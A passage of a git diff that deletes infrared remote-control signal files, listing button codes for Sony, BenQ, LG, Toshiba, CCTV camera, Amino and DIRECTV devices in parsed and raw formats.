-# -name: FMMode -type: parsed -protocol: NECext -address: D2 09 00 00 -command: D3 2C 00 00 -# -name: PresetUp -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 00 FF 00 00 -# -name: PresetDn -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 01 FE 00 00 -# -name: TuningUp -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 40 BF 00 00 -# -name: TuningDn -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 41 BE 00 00 -# -name: PlayMode -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 08 F7 00 00 -# -name: GroupSearch -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 81 7E 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 49 B6 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: D2 04 00 00 -command: 46 B9 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: D5 2A 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: D6 29 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: D7 28 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: D8 27 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: D9 26 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: DA 25 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: DB 24 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: DC 23 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: DD 22 00 00 -# -name: GT10 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: DF 20 00 00 -# -name: 10_0 -type: parsed -protocol: NECext -address: D2 03 00 00 -command: DE 21 00 00 -# -name: CLR -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 9E 61 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir b/assets/ir_optional_assets/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir deleted file mode 100644 index ab7a355d2..000000000 --- a/assets/ir_optional_assets/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# Sony RM-SGS3 (for MHC-GS300AV) -name: Sleep -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 60 00 00 00 -# -name: Balance Left -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 26 00 00 00 -# -name: Balance Right -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 27 00 00 00 -# -name: Power -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 15 00 00 00 -# -name: Center + -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 54 00 00 00 -# -name: Center - -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 55 00 00 00 -# -name: Rear + -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 4E 00 00 00 -# -name: Rear - -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 4F 00 00 00 -# -name: Game -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: Tape -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 23 00 00 00 -# -name: Display -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: Tuning + -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 34 00 00 00 -# -name: Preset + -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 31 00 00 00 -# -name: Album + -type: parsed -protocol: SIRC15 -address: 11 00 00 00 -command: 67 00 00 00 -# -name: Disc + -type: parsed -protocol: SIRC15 -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: Preset EQ -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 6E 00 00 00 -# -name: Groove -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 7A 00 00 00 -# -name: Vol + -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 12 00 00 00 -# -name: Vol - -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 13 00 00 00 -# -name: Surround -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 40 00 00 00 -# -name: Disc - -type: parsed -protocol: SIRC15 -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: Album - -type: parsed -protocol: SIRC15 -address: 11 00 00 00 -command: 66 00 00 00 -# -name: Tuning - -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 33 00 00 00 -# -name: Preset - -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 30 00 00 00 -# -name: Play -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 32 00 00 00 -# -name: Pause -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 39 00 00 00 -# -name: Stop -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 38 00 00 00 -# -name: Tuner/Band -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: CD -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 25 00 00 00 -# -name: Test Tone -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 4A 00 00 00 -# -name: 5.1 ch -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 7D 00 00 00 -# -name: Video (MD) -type: parsed -protocol: SIRC15 -address: 10 00 00 00 -command: 22 00 00 00 -# -name: Pro Logic -type: parsed -protocol: SIRC15 -address: 90 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/BenQ.ir b/assets/ir_optional_assets/optional-assets/BenQ.ir deleted file mode 100644 index d4b5c519c..000000000 --- a/assets/ir_optional_assets/optional-assets/BenQ.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A F5 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C F3 00 00 -# -name: Vol_u -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 EA 00 00 -# -name: Vol_d -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C E3 00 00 -# -name: Home -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A E5 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 BF 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Blu-Ray/LG/LG_BlueRay.ir b/assets/ir_optional_assets/optional-assets/Blu-Ray/LG/LG_BlueRay.ir deleted file mode 100644 index 83687a837..000000000 --- a/assets/ir_optional_assets/optional-assets/Blu-Ray/LG/LG_BlueRay.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 30 00 00 00 -# -name: Eject -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 36 00 00 00 -# -name: Pause -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 38 00 00 00 -# -name: Play -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 31 00 00 00 -# -name: Stop -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 39 00 00 00 -# -name: Forward -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 33 00 00 00 -# -name: Backward -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 32 00 00 00 -# -name: Chptr_next -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 34 00 00 00 -# -name: Chpter_back -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 35 00 00 00 -# -name: Title_popup -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 4A 00 00 00 -# -name: Info_menu -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 3A 00 00 00 -# -name: Home -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 67 00 00 00 -# -name: Up -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 47 00 00 00 -# -name: Down -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 48 00 00 00 -# -name: Left -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 59 00 00 00 -# -name: Right -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 5A 00 00 00 -# -name: Enter -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 58 00 00 00 -# -name: Disc_menu -type: parsed -protocol: Samsung32 -address: 2D 00 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir b/assets/ir_optional_assets/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir deleted file mode 100644 index 984c075de..000000000 --- a/assets/ir_optional_assets/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: C0 3F 00 00 -# -name: Setup -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 20 DF 00 00 -# -name: Eject -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: C1 3E 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 21 DE 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 80 7F 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 81 7E 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 51 AE 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 4D B2 00 00 -# -name: Return -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 22 DD 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 84 7B 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 16 E9 00 00 -# -name: Topmenu -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: DE 21 00 00 -# -name: Play -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: C2 3D 00 00 -# -name: Stop -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 14 EB 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 23 DC 00 00 -# -name: Forward -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 24 DB 00 00 -# -name: Rewind -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 19 E6 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 13 EC 00 00 -# -name: MC -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: C5 3A 00 00 -# -name: Audio -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 27 D8 00 00 -# -name: Subtitle -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 28 D7 00 00 -# -name: PIPAudio -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 39 C6 00 00 -# -name: Angle -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 29 D6 00 00 -# -name: Clear -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: EF 10 00 00 -# -name: Search -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 26 D9 00 00 -# -name: Repeat -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 2B D4 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 2C D3 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 9F 60 00 00 -# -name: OSC -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 10 EF 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: C3 3C 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 34 CB 00 00 -# -name: Digest -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 35 CA 00 00 -# -name: Zoom -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 37 C8 00 00 -# -name: Bookmark -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 36 C9 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 01 FE 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 02 FD 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 03 FC 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 04 FB 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 05 FA 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 06 F9 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 07 F8 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 08 F7 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 09 F6 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 0A F5 00 00 -# -name: Next -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 0D F2 00 00 diff --git a/assets/ir_optional_assets/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir b/assets/ir_optional_assets/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir deleted file mode 100644 index df3e12e73..000000000 --- a/assets/ir_optional_assets/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 15 00 00 00 -# -name: Pan_up -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 1A 00 00 00 -# -name: Pan_down -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 1B 00 00 00 -# -name: Pan_left -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 1D 00 00 00 -# -name: Pan_right -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 1C 00 00 00 -# -name: Zoom_in_slw -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1A 00 00 00 -# -name: Zoom_out_slow -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1B 00 00 00 -# -name: Zoom_in_fast -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1C 00 00 00 -# -name: Zoom_out_fast -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1D 00 00 00 -# -name: Focus_far -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 22 00 00 00 -# -name: Focus_near -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 23 00 00 00 -# -name: Auto_focus -type: parsed -protocol: SIRC15 -address: D4 00 00 00 -command: 1E 00 00 00 -# -name: Menu -type: parsed -protocol: SIRC20 -address: 3A 0A 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir b/assets/ir_optional_assets/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir deleted file mode 100644 index 82964133d..000000000 --- a/assets/ir_optional_assets/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: Pan_up -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 05 00 00 00 -# -name: Pan_down -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: Pan_right -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: Pan_left -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 08 00 00 00 -# -name: Zoom_in -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 41 00 00 00 -# -name: Zoom_out -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 1E 00 00 00 -# -name: Menu -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 43 00 00 00 -# -name: 1 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 0C 00 00 00 -# -name: 2 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 0E 00 00 00 -# -name: 4 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 10 00 00 00 -# -name: 5 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 12 00 00 00 -# -name: 7 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 19 00 00 00 -# -name: 9 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 16 00 00 00 -# -name: 0 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir b/assets/ir_optional_assets/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir deleted file mode 100644 index 3bcdc1fd9..000000000 --- a/assets/ir_optional_assets/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2677 903 422 466 421 467 430 901 424 880 1374 902 423 464 423 465 422 466 421 467 430 457 430 458 867 909 426 462 425 463 424 464 871 460 427 461 426 462 425 907 867 465 422 910 874 458 429 902 423 465 422 466 431 457 430 458 867 465 422 909 427 462 425 -# -name: Home -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2675 905 420 467 430 458 429 903 422 909 1345 904 421 466 431 457 430 458 429 459 428 460 427 462 873 902 423 465 422 466 421 467 869 463 424 464 423 909 426 461 874 458 429 903 871 461 426 906 429 459 428 460 427 461 874 458 429 875 450 465 422 467 430 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2673 907 428 460 427 461 426 906 429 875 1368 907 428 459 428 461 426 462 425 463 424 464 423 465 870 905 430 458 429 459 428 460 875 457 430 430 457 459 428 904 870 463 424 907 867 466 431 900 425 464 423 465 422 466 421 467 868 464 423 465 422 466 421 -# -name: Apps -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2676 877 448 467 430 458 429 903 422 909 1345 904 421 467 430 458 429 459 428 460 427 461 426 462 873 903 422 466 421 467 430 458 867 465 422 466 421 911 424 463 872 460 427 905 869 463 424 908 427 461 874 901 873 903 871 906 429 458 428 -# -name: Guide -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2678 902 423 464 423 465 422 883 453 879 1365 911 424 463 424 436 451 465 422 466 421 467 430 458 867 880 456 460 427 461 426 462 873 431 456 460 427 461 426 878 896 436 451 881 893 439 458 874 451 436 900 905 431 457 868 436 451 881 455 461 426 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2676 904 422 466 421 467 430 901 424 880 1375 873 453 463 424 464 423 437 450 438 449 439 458 457 868 907 429 459 428 460 427 433 893 467 430 457 430 874 452 437 899 460 427 877 897 463 424 880 456 432 894 910 875 429 458 874 451 464 423 465 422 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2676 904 421 466 421 467 430 901 424 908 1347 901 424 463 424 464 423 465 422 466 421 466 421 439 897 907 429 459 428 460 427 433 892 467 430 430 457 458 429 875 899 461 426 906 868 463 424 880 456 432 894 910 875 457 430 874 900 904 421 69083 2677 904 421 466 421 467 430 901 424 907 1348 901 424 463 424 464 423 437 450 465 422 466 421 467 869 879 457 459 428 460 427 461 864 439 458 430 457 431 456 876 898 461 426 878 896 436 451 908 428 460 865 911 874 430 457 903 871 877 448 69084 2676 904 421 466 421 467 430 874 451 880 1375 901 424 463 424 436 451 437 450 466 421 467 430 457 868 908 428 432 455 460 427 461 875 457 430 458 429 431 456 876 898 433 454 906 868 436 451 880 456 460 865 883 902 458 429 875 899 904 422 -# -name: Ok -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2669 911 425 463 424 436 451 908 428 876 1368 908 428 460 427 461 426 462 425 462 425 463 424 464 872 876 449 467 430 429 458 458 867 464 423 465 422 910 426 462 874 458 429 875 899 433 454 878 458 457 868 880 894 466 421 466 431 873 452 435 452 69081 2675 905 420 467 430 457 430 874 451 909 1346 902 423 464 423 465 422 466 421 467 430 457 430 430 895 881 455 460 427 433 454 462 874 458 429 459 428 876 449 466 870 434 453 907 867 465 422 882 454 462 874 902 872 459 428 460 427 905 431 429 458 69075 2671 909 427 461 426 434 453 879 457 875 1369 879 457 458 429 432 455 432 455 433 454 434 453 462 874 902 423 437 450 438 449 439 897 462 425 463 424 881 455 460 865 467 430 873 901 459 428 876 449 466 870 906 868 464 423 465 422 882 454 434 453 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2677 904 421 466 421 467 430 901 424 908 1346 873 452 436 451 437 450 465 422 466 421 439 458 457 868 880 456 432 455 461 426 462 874 458 429 459 428 432 455 877 897 435 452 879 895 465 422 882 454 462 874 902 872 432 455 877 897 462 425 69524 2669 911 425 463 424 463 424 880 456 904 1340 880 456 460 427 433 454 462 425 435 452 463 424 464 872 877 448 439 458 457 430 430 895 465 422 438 449 466 431 901 873 431 456 903 871 461 426 906 430 430 895 909 865 466 431 901 873 459 428 69520 2673 907 429 459 428 460 427 877 459 873 1371 905 431 429 458 458 429 459 428 460 427 461 426 461 875 902 423 436 451 465 422 438 898 462 425 463 424 464 423 908 866 439 458 901 873 459 428 904 421 466 870 906 868 464 423 909 865 466 421 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2678 902 423 464 423 465 422 882 454 906 1338 910 426 462 425 463 424 464 423 465 422 438 449 467 869 907 429 459 428 460 427 461 875 457 430 458 429 875 450 466 870 462 425 907 867 437 450 882 454 434 902 902 872 460 427 877 459 457 868 -# -name: Back -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2673 907 429 459 428 460 427 905 420 911 1343 905 431 457 430 458 429 459 428 460 427 461 426 462 874 902 423 464 423 465 422 466 870 435 452 463 424 464 423 881 893 467 430 901 873 459 428 904 421 467 430 457 430 430 457 459 428 460 427 433 903 457 430 diff --git a/assets/ir_optional_assets/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir b/assets/ir_optional_assets/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir deleted file mode 100644 index c8098b59c..000000000 --- a/assets/ir_optional_assets/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power_on -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 177 7806 174 1352 177 2284 181 2311 175 2318 179 5309 174 2319 178 2316 181 3809 176 3815 180 6803 178 2315 182 6801 180 3809 176 8324 176 7804 177 3813 172 2321 176 2318 179 5308 175 2318 179 2315 182 3808 177 3813 182 6801 180 2313 173 6809 172 3818 177 8322 178 7802 178 3811 174 2320 177 2316 181 5306 177 2316 181 2313 173 3817 178 3811 174 6809 172 2321 176 6807 175 3815 180 -# -name: Power_off -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 7800 180 3810 201 2291 180 2316 181 5306 177 2316 181 2313 173 3818 177 2313 173 2322 175 6808 173 2320 177 6807 174 11315 182 7801 179 3811 174 2319 178 2316 181 5306 177 2316 181 2313 173 3817 178 2315 182 2312 174 6809 172 2321 176 18297 181 7801 179 3810 175 2319 178 2316 181 7800 180 2313 173 6311 181 2312 174 9303 175 -# -name: Guide -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 7808 172 3818 177 2316 180 2313 173 6810 181 2312 174 3817 178 3811 173 6807 174 2321 176 2319 178 5308 175 3816 179 8320 180 7800 180 3810 174 2319 178 2316 180 9296 182 3808 177 3814 181 9296 172 2321 176 5311 182 3808 176 8322 178 7803 177 3812 172 2321 176 2318 179 6805 176 2317 179 3810 175 3815 180 6803 178 2316 180 2313 173 5313 180 3810 175 8324 176 7805 175 3814 181 2313 173 2320 177 6806 175 2318 179 3812 172 3817 178 6805 176 2317 180 2314 182 5304 179 3811 173 8326 174 7806 174 3816 179 2315 182 2312 174 6809 172 2321 176 3815 180 3810 174 9302 176 2317 179 5307 176 3814 181 8318 182 7798 182 3809 176 2317 179 2315 181 9295 173 3817 178 3812 172 9304 174 2319 178 5309 174 3816 179 -# -name: Exit -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7807 173 8807 172 16321 181 4291 172 9803 175 2301 175 13811 172 7810 181 8797 182 19287 180 1316 182 9776 181 2314 172 13812 182 7801 179 8798 181 19288 179 1317 181 4806 177 4793 180 2316 180 13803 180 7802 178 6306 176 2318 179 12306 179 1317 181 2313 173 1323 175 1321 177 1319 179 2315 182 2312 174 2301 175 2320 177 2317 179 13805 178 7804 176 6308 173 2320 176 12309 176 1320 178 2316 180 1315 172 1324 174 1322 176 2318 179 2297 179 2316 180 2313 173 2321 176 13808 175 7807 173 3817 178 2315 181 2312 174 9802 176 2317 179 3811 173 6809 182 2311 175 2319 177 2316 180 2313 173 5313 180 8319 181 7800 180 3810 174 2319 177 2316 180 12287 177 13290 173 2323 174 2319 177 2316 180 -# -name: Menu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 7808 182 3809 175 2317 179 2314 172 8307 172 6811 180 6803 178 2315 181 2312 174 2319 178 3812 183 2312 174 2318 179 8321 179 7802 178 3812 172 2321 176 2317 179 8300 179 6804 177 6806 175 2318 178 2316 180 2313 173 3816 179 2315 181 2313 173 8325 175 7806 174 3816 179 2315 182 2312 174 8305 175 6808 173 6809 182 2311 175 2319 178 2316 180 3809 175 2318 179 2315 182 8317 183 7798 182 3808 177 2317 179 2314 182 8297 172 6811 180 6802 179 2315 181 2312 174 2319 178 3813 182 2311 175 2319 178 8321 179 7802 178 3812 172 2321 176 2318 178 8300 179 6804 177 6806 175 2318 178 2315 182 2312 174 3816 179 2315 181 2312 174 8325 175 7805 175 3815 180 2314 172 2321 175 8304 176 6807 174 6809 172 2321 175 2318 179 2315 182 3808 177 2317 179 2314 172 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 7803 177 8801 178 10295 182 2313 173 12329 177 21755 177 7805 175 6308 173 2321 176 10299 178 2315 181 34253 175 7807 173 6311 181 2313 173 7807 173 2321 175 2318 178 14783 178 10795 181 8320 180 7800 180 6305 176 2317 180 7801 179 2315 181 2312 174 12311 174 2302 174 10799 177 8324 175 7805 175 3815 180 2314 172 2321 175 7805 175 2319 178 2316 180 12305 180 2296 180 10793 173 8329 181 7799 181 6303 178 2315 181 7799 181 2312 174 2320 177 14785 176 10815 182 8299 180 7803 177 6307 174 2319 177 7803 177 2317 179 2314 172 14808 174 2818 178 1318 180 1316 182 4806 177 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 177 7806 174 6310 182 2311 175 6309 172 11797 178 17279 179 11312 174 7809 181 6302 179 2314 172 6312 180 11788 177 14787 174 2322 175 11315 181 7801 179 6305 177 2317 180 6304 178 9299 179 2314 183 14779 182 2314 172 11317 179 7803 177 6307 174 2320 177 6307 174 9302 176 2318 178 12306 179 2297 179 2317 179 11310 176 7807 173 3817 178 2316 180 2313 173 3816 179 2315 181 9295 173 2321 175 12310 175 2301 175 2320 177 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 172 7810 180 6304 177 2316 180 6303 178 28251 173 12317 178 7805 175 6309 172 2321 175 6309 172 15306 175 5311 182 7282 177 12312 182 7800 180 6304 177 2316 180 6304 177 13804 179 1317 181 3810 174 1321 177 4811 172 2303 173 12317 177 7805 174 6309 183 2311 175 6309 172 10817 180 1316 182 1314 173 1323 175 2319 177 1318 180 1316 182 2312 174 2302 174 2321 175 12312 182 7800 179 6305 176 2317 179 6305 176 10812 174 1322 176 1320 178 1318 180 2314 172 1324 174 1322 176 2318 178 2297 179 2317 179 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 178 7805 175 6309 172 2320 177 6308 173 25762 176 6310 182 8317 172 7808 172 6312 180 2313 173 3817 178 2316 181 10790 176 6809 172 5315 178 2315 182 3808 177 2317 179 8320 180 7800 180 3810 175 2319 178 2316 180 3809 175 2318 178 5308 175 5312 181 6801 180 5307 176 2317 179 3810 174 2319 177 8322 178 7802 178 1319 179 2314 172 2322 175 2319 178 1318 180 2314 172 2321 176 5311 182 5305 177 6806 175 5311 182 2311 175 3815 180 2314 172 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 178 7804 175 3815 180 2314 182 2311 175 3815 180 2314 172 5314 179 3811 173 2320 177 6806 175 5312 181 2313 173 3817 178 9818 180 7800 179 3811 173 2320 176 2317 179 3811 173 2320 176 5310 172 3818 177 2317 179 6803 178 5309 173 2320 176 3813 181 9814 173 7807 173 3818 177 2316 180 2313 173 3817 178 2316 180 5306 177 3813 182 2312 174 6809 182 5304 178 2315 181 3809 175 9820 177 7803 176 3813 182 2312 174 2319 178 3813 182 2312 174 5312 181 3809 175 2318 179 6804 177 